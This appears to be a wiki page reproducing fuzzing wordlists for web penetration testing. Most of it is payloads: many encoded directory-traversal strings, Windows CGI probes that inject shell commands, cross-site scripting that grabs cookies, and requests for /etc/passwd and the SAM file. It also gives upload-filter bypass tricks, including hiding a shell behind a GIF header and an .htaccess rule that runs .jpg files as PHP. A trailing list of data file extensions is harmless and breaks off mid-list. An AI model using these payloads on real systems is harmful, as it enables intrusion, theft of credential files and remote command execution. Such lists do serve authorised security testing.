%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> ..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> %c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> ///%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> \\\%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..//{FILE}<br /> ..//..//{FILE}<br /> ..//..//..//{FILE}<br /> ..//..//..//..//{FILE}<br /> ..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//..//{FILE}<br /> ..///{FILE}<br /> ..///..///{FILE}<br /> ..///..///..///{FILE}<br /> ..///..///..///..///{FILE}<br /> ..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///..///{FILE}<br /> ..\\{FILE}<br /> ..\\..\\{FILE}<br /> ..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\\{FILE}<br /> ..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ./\/./{FILE}<br /> ./\/././\/./{FILE}<br /> ./\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> .\/\.\{FILE}<br /> .\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../../{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\..\{FILE}<br /> ./../{FILE}<br /> ./.././../{FILE}<br /> ./.././.././../{FILE}<br /> ./.././.././.././../{FILE}<br /> ./.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././.././../{FILE}<br /> .\..\{FILE}<br /> .\..\.\..\{FILE}<br /> .\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .//..//{FILE}<br /> .//..//.//..//{FILE}<br /> .//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .\\..\\{FILE}<br /> .\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> ../{FILE}<br /> ../..//{FILE}<br /> ../..//../{FILE}<br /> ../..//../..//{FILE}<br /> ../..//../..//../{FILE}<br /> ../..//../..//../..//{FILE}<br /> ../..//../..//../..//../{FILE}<br /> ../..//../..//../..//../..//{FILE}<br /> ..\{FILE}<br /> ..\..\\{FILE}<br /> ..\..\\..\{FILE}<br /> ..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\{FILE}<br /> ..///{FILE}<br /> ../..///{FILE}<br /> ../..//..///{FILE}<br /> ../..//../..///{FILE}<br /> ../..//../..//..///{FILE}<br /> ../..//../..//../..///{FILE}<br /> ../..//../..//../..//..///{FILE}<br /> ../..//../..//../..//../..///{FILE}<br /> ..\\\{FILE}<br /> ..\..\\\{FILE}<br /> ..\..\\..\\\{FILE}<br /> ..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\\{FILE}<br /> &lt;/pre&gt;<br /> <br /> === Common Windows CGI (Update: 17 March 2010) ===<br /> &lt;pre&gt;# Common Windows CGI (Update: 17 March 2010 <br /> # fuzz inside executable directories<br /> # on windows, this is usually /scripts or /cgi-bin<br /> # adam.muntner@quietmove.com<br /> <br /> cart32.exe<br /> get32.exe<br /> visadmin.exe<br /> foxweb.exe<br /> webplus.exe?about<br /> fpsrvadm.exe<br /> MsmMask.exe<br /> cmd.exe?/c+dir<br /> cmd1.exe?/c+dir<br /> post32.exe|dir%20c:\\<br /> cgitest.exe<br /> hpnst.exe?c=p+i=<br /> Pbcgi.exe<br /> testcgi.exe<br /> webfind.exe?keywords=01234567890123456789<br /> redir.exe?URL=http%3A%2F%2Fwww%2Egoogle%2Ecom%2F%0D%0A%0D%0A%3C<br /> test-cgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> athcgi.exe?command=showpage&amp;script='],[0,0]];alert('Vulnerable');a=[['<br /> mkilog.exe<br /> mkplog.exe<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> perl.exe?-v<br /> perl.exe<br /> ppdscgi.exe<br /> c32web.exe/ChangeAdminPassword<br /> windmail.exe<br /> dbmlparser.exe<br /> cgimail.exe<br /> minimal.exe<br /> rguest.exe<br /> visitor.exe<br /> webbbs.exe<br /> wguest.exe<br /> /_vti_bin/fpcount.exe?Page=default.htm|Image=3|Digits=15<br /> cfgwiz.exe<br /> Cgitest.exe<br /> mailform.exe<br /> post16.exe<br /> imagemap.exe<br /> htimage.exe/path/filename?2,2<br /> htimage.exe<br /> Webnews.exe<br /> texis.exe/junk<br /> apexec.pl?etype=odp&amp;template=../../../../../../../../../../etc/passwd%00.html&amp;passurl=/category/<br /> sensepost.exe?/c+dir<br /> testcgi.exe<br /> testcgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> ion-p.exe?page=c:\winnt\repair\sam<br /> ../../../../../../../../../../WINNT/system32/ipconfig.exe<br /> NUL/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> PRN/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> c32web.exe/GetImage?ImageName=CustomerEmail.txt%00.pdf <br /> foxweb.dll<br /> wconsole.dll<br /> shtml.dll<br /> scripts/slxweb.dll/getfile?type=Library&amp;file=[invalid filename]<br /> rightfax/fuwww.dll/?<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%20Hacker@hax0r.com%20|%20dir%20c:\\<br /> GW5/GWWEB.EXE<br /> GW5/GWWEB.EXE?GET-CONTEXT&amp;HTMLVER=AAA<br /> GW5/GWWEB.EXE?HELP=bad-request<br /> GWWEB.EXE?HELP=bad-request<br /> echo.bat<br /> echo.bat?&amp;dir+c:\\<br /> hello.bat?&amp;dir+c:\\<br /> input.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> input2.bat?|dir<br /> input2.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> test-cgi.bat<br /> test.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> tst.bat|dir%20..\\..\\..\\..\\..\\..\\..\\..\\,<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass (Update: 17 March 2009 s ===<br /> &lt;pre&gt;# File Upload Fuzzfile - File Name Filter Bypass<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> # For MIME filter bypass, your shellscript should look like<br /> # -------<br /> # GIF89aP;<br /> # [shell]<br /> # -------<br /> #<br /> # For mod_cgi Server Side Include upload attacks<br /> #<br /> #&lt;!--#exec cmd=&quot;ls&quot; --&gt;<br /> #<br /> #or, on Windows<br /> #<br /> #&lt;!--#exec cmd=&quot;dir&quot; --&gt;<br /> #<br /> # Sometimes you can overwrite .htaccess in an upload folder on Apache httpd, try setting .jpg to executable. If you can set the target directory, try fuzz the list of all dirs you've enumberated on the servers, and try the commonly writable directory fuzzfile.<br /> #<br /> # example .htaccess that sets mime type .jpg to be executable:<br /> # -----<br /> # AddType application/x-httpd-php .jpg<br /> # -----<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2010<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> %00index.html<br /> ;index.html<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2010 - notes<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # also: use &quot;gim&quot; to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> <br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar<br /> &lt;/pre&gt;<br /> <br /> === Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 ===<br /> &lt;pre&gt;# Microsoft-Specific Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> {ASPSCRIPT}<br /> {ASPSCRIPT};<br /> {ASPSCRIPT};.jpg<br /> {ASPSCRIPT};.pdf<br /> {ASPSCRIPT};.html<br /> {ASPSCRIPT};.htm<br /> {ASPSCRIPT};.txt<br /> {ASPSCRIPT};.xyz<br /> {ASPSCRIPT};.zip<br /> {ASPSCRIPT};.tgz<br /> {ASPSCRIPT};.doc<br /> {ASPSCRIPT};.docx<br /> {ASPSCRIPT};.xls<br /> {ASPSCRIPT};.xlsx<br /> &lt;/pre&gt;<br /> <br /> === Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2010) ===<br /> &lt;pre&gt;#Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2010) <br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> {HOST}/templates_compiled/<br /> {HOST}/templates_c/<br /> {HOST}/templates/<br /> {HOST}/temporary/<br /> {HOST}/images/<br /> {HOST}/cache/<br /> {HOST}/temp/<br /> {HOST}/files/<br /> {HOST}/tmp/<br /> &lt;/pre&gt;<br /> <br /> === Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863 ===<br /> &lt;pre&gt;<br /> #Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> &lt;pre&gt;<br /> .$er<br /> .123<br /> .1pe<br /> .1ph<br /> .3dr<br /> .3dt<br /> .3me<br /> .3pe<br /> .4dl<br /> .4dv<br /> .8xk<br /> .^^^<br /> .a3l<br /> .a3m<br /> .a3w<br /> .a4l<br /> .a4m<br /> .a4w<br /> .a5l<br /> .a5w<br /> .a65<br /> .aao<br /> .ab<br /> .ab1<br /> .ab2<br /> .ab3<br /> .abcd<br /> .abi<br /> .abp<br /> .aby<br /> .aca<br /> .acc<br /> .accdb<br /> .acf<br /> .acg<br /> .ade<br /> .adp<br /> .adt<br /> .adx<br /> .aft<br /> .agd<br /> .aifb<br /> .alc<br /> .ald<br /> .ali<br /> .amb<br /> .amsorm<br /> .an1<br /> .anme<br /> .apr<br /> .arc<br /> .arh<br /> .ask<br /> .asm<br /> .ast<br /> .at5<br /> .att<br /> .aw<br /> .awg<br /> .azw<br /> .bafl<br /> .bci<br /> .bcm<br /> .bdf<br /> .bdic<br /> .bfx<br /> .bgl<br /> .bgt<br /> .bin<br /> .bjo<br /> .bk<br /> .bkk<br /> .blb<br /> .bld<br /> .blg<br /> .bok<br /> .box<br /> .brd<br /> .brw<br /> .btf<br /> .btif<br /> .btm<br /> .btr<br /> .cap<br /> .cat<br /> .cbg<br /> .cch<br /> .ccr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .cdx<br /> .cel<br /> .celtx<br /> .chg<br /> .chk<br /> .chn<br /> .ckd<br /> .ckt<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .clp<br /> .cmbl<br /> .cna<br /> .contact<br /> .cpi<br /> .cpmz<br /> .crd<br /> .crtx<br /> .csa<br /> .csv<br /> .ctf<br /> .ctt<br /> .cursorfx<br /> .curxptheme<br /> .cvd<br /> .cvn<br /> .cwk<br /> .cws<br /> .cwz<br /> .cxt<br /> .cyo<br /> .cys<br /> .daf<br /> .dal<br /> .dam<br /> .das<br /> .dat<br /> .data<br /> .db<br /> .db2<br /> .db3<br /> .dbc<br /> .dbd<br /> .dbf<br /> .dbx<br /> .dcf<br /> .dcl<br /> .dcm<br /> .dcmd<br /> .ddc<br /> .ddcx<br /> .ddt<br /> .dem<br /> .des<br /> .dex<br /> .dfm<br /> .dfproj<br /> .dft<br /> .dgb<br /> .dif<br /> .dii<br /> .dlg<br /> .dm2<br /> .dmo<br /> .dmsk<br /> .dnc<br /> .dockzip<br /> .dp1<br /> .dpn<br /> .dpx<br /> .drl<br /> .dsb<br /> .dsd<br /> .dsk<br /> .dsy<br /> .dsz<br /> .dt0<br /> .dt1<br /> .dt2<br /> .dta<br /> .dtr<br /> .dvdproj<br /> .dvo<br /> .dwi<br /> .e00<br /> .eap<br /> .ebuild<br /> .ec0<br /> .eco<br /> .ecx<br /> .edb<br /> .edf<br /> .eep<br /> .efx<br /> .egp<br /> .emb<br /> .emd<br /> .emlxpart<br /> .enc<br /> .enw<br /> .epp<br /> .epub<br /> .epw<br /> .er1<br /> .esp<br /> .ess<br /> .est<br /> .esx<br /> .et<br /> .eta<br /> .etd<br /> .etl<br /> .ev<br /> .ev3<br /> .evt<br /> .evy<br /> .exif<br /> .exp<br /> .exx<br /> .fa<br /> .fasta<br /> .fbl<br /> .fcd<br /> .fcs<br /> .fdb<br /> .ffd<br /> .ffwp<br /> .fhc<br /> .fid<br /> .fil<br /> .flame<br /> .fll<br /> .flo<br /> .flp<br /> .flt<br /> .fm<br /> .fm5<br /> .fmp<br /> .fo<br /> .fob<br /> .fol<br /> .fop<br /> .fox<br /> .fp<br /> .fp3<br /> .fp4<br /> .fp5<br /> .fp7<br /> .frl<br /> .frm<br /> .fro<br /> .frx<br /> .fsb<br /> .fsc<br /> .ftm<br /> .ftw<br /> .gan<br /> .gbr<br /> .gc<br /> .gcx<br /> .gdb<br /> .ged<br /> .gedcom<br /> .gen<br /> .ggb<br /> .gml<br /> .gms<br /> .gno<br /> .gnp<br /> .gp3<br /> .gpi<br /> .gps<br /> .gpx<br /> .gra<br /> .grade<br /> .grf<br /> .grib<br /> .grk<br /> .grr<br /> .grv<br /> .gs<br /> .gst<br /> .gtp<br /> .gwk<br /> .gxl<br /> .hcc<br /> .hce<br /> .hci<br /> .hcp<br /> .hcr<br /> .hcu<br /> .hda<br /> .hdb<br /> .hdf<br /> .hdi<br /> .hdl<br /> .hif<br /> .hl<br /> .hml<br /> .hmt<br /> .hs2<br /> .hsk<br /> .hst<br /> .htg<br /> .huh<br /> .hyv<br /> .i5z<br /> .ib<br /> .ics<br /> .id2<br /> .idx<br /> .igc<br /> .ihx<br /> .ii<br /> .iif<br /> .img<br /> .imt<br /> .ink<br /> .inp<br /> .ins<br /> .ip<br /> .irock<br /> .irr<br /> .irx<br /> .isf<br /> .itdb<br /> .itl<br /> .itm<br 